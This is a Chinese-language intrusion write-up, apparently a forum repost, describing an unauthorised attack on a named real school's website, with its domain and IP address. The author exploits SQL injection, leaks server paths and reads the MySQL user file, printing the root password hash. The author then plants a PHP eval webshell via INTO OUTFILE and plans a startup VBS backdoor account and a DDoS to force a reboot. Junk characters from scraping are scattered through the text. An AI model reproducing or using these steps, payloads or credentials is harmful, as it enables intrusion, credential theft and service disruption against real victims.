友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
. M" F4 X( Z  U2 \/ ^  ?: W& H发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！


/ P7 Z' b% x! y4 s* T1 C! X
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

  z. A7 X3 A0 e# U! ^那么想可以直接写入shell ，getshell有几个条件：
2 b5 g( W* I8 M# ?* S7 x. k+ j

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
2 ]6 w) n' f: G$ [/ W. g% g" p" `# h
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
5 N7 y( j& a7 L9 f6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
& ]0 F5 i- _: M& t8./phpmyadmin/libraries/export/xls.php  

# F( {0 k% c0 C: _5 j均不行...........................
' X1 B) ~+ N5 L" X# u
. w. {4 m$ ~- ~6 P( @御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
' h0 @& T5 u7 l7 Z# O8 j
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

4 a, H- U$ h6 n, l默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

5 j& G0 L; p+ B' k+ a8 m" c想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
& ^: U# g% L1 e# r% J; T2 p2 a* t
; `  C7 i8 ~. n9 q3 w3 f. }成功读到root密码：

17---- r(0072)
18---- o(006f)
7 n2 `0 V3 |9 h: G7 r0 _19---- o(006f)
& ~, B" H7 A0 h; f0 Q! H20---- t(0074)
- {) e- ?. e/ a8 _6 g. \21---- *(002a)
22---- 8(0038)
23---- 2(0032)
24---- E(0045)
25---- 1(0031)
26---- C(0043)
27---- 5(0035)
+ Y: I& N  ^4 W: C# u28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
9 ]( d! r% `" k9 X31---- A(0041)
) n' x; u4 Q# E: v3 W32---- 9(0039)
33---- B(0042)
34---- 5(0035)
- |* r: [5 @/ @: L: n35---- 4(0034)
; l& B6 K4 S& r& m& o$ o" |36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
& v6 d3 I' [9 ?1 N39---- 9(0039)
2 T; |$ P7 j$ p3 K3 B+ E0 ^2 w40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
( u7 W: n. \! X7 l4 f# U0 r. l' T43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
9 s! b% b% ^: b46---- 8(0038)
47---- F(0046)
48---- F(0046)
" r  Z1 y1 y! k9 s1 D6 C49---- 4(0034)
% V1 @2 _, A& a) o5 E; F50---- F(0046)
51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
54---- A(0041)
7 Y% |4 z* ]4 R- N# _9 V; V55---- 4(0034)
$ e' K3 `/ }% b: B7 x% w56---- A(0041)
57---- B(0042)
$ h3 E4 C# }9 B4 g) t9 ~58---- *(0044)
0 w! N: v! v5 x3 O" S, A59---- *(0035)
! B. ?  \2 p, Q- ~" `' z/ M60---- *(0041)
+ Y3 Y6 t7 m, Y& q% J9 j61---- *0032)
% U9 X" p- T# A
$ t. e1 T; ^; @; _) X解密后成功登陆phpmyamin
                          
: E- u. S4 G! W- ]5 B0 L
                             
4 f( [7 C! t) E6 O1 w
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

2 a) H7 A, P$ V4 M" G2 t成功执行，拿下shell，菜刀连接：

服务器不支持asp,aspx,php提权无果...................

4 v' B) h' N* ^/ {. s1 y; U但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
9 n9 n/ K8 |8 W

服务器上已经有个隐藏帐号了

别名     administrators
+ h9 ]' K% @$ n1 Q: g注释     管理员对计算机/域有不受限制的完全访问权

/ b1 D" U6 A8 }! ]: t5 D

成员

-------------------------------------------------------------------------------
admin
, y) u9 @- R( r4 y9 V) nAdministrator
! @2 A( k  B5 C/ }( ~. \% k6 g3 Nslipper$
sqluser
: e( Q$ M( u% c命令成功完成。
7 Z2 i" ~2 |% r% Q2 U3 ]4 v
; S+ t; d7 b/ m5 I7 V/ ^服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
/ ^2 j) u9 h+ c
3 s; d( j. L& Jddos服务器重启，不然就只能坐等服务器重启了...............................
. n% a& _! ~' H. e5 p9 F8 U
$ ?7 a- _3 g# @1 `) ~3 G. g5 E1 S/ ?      

angel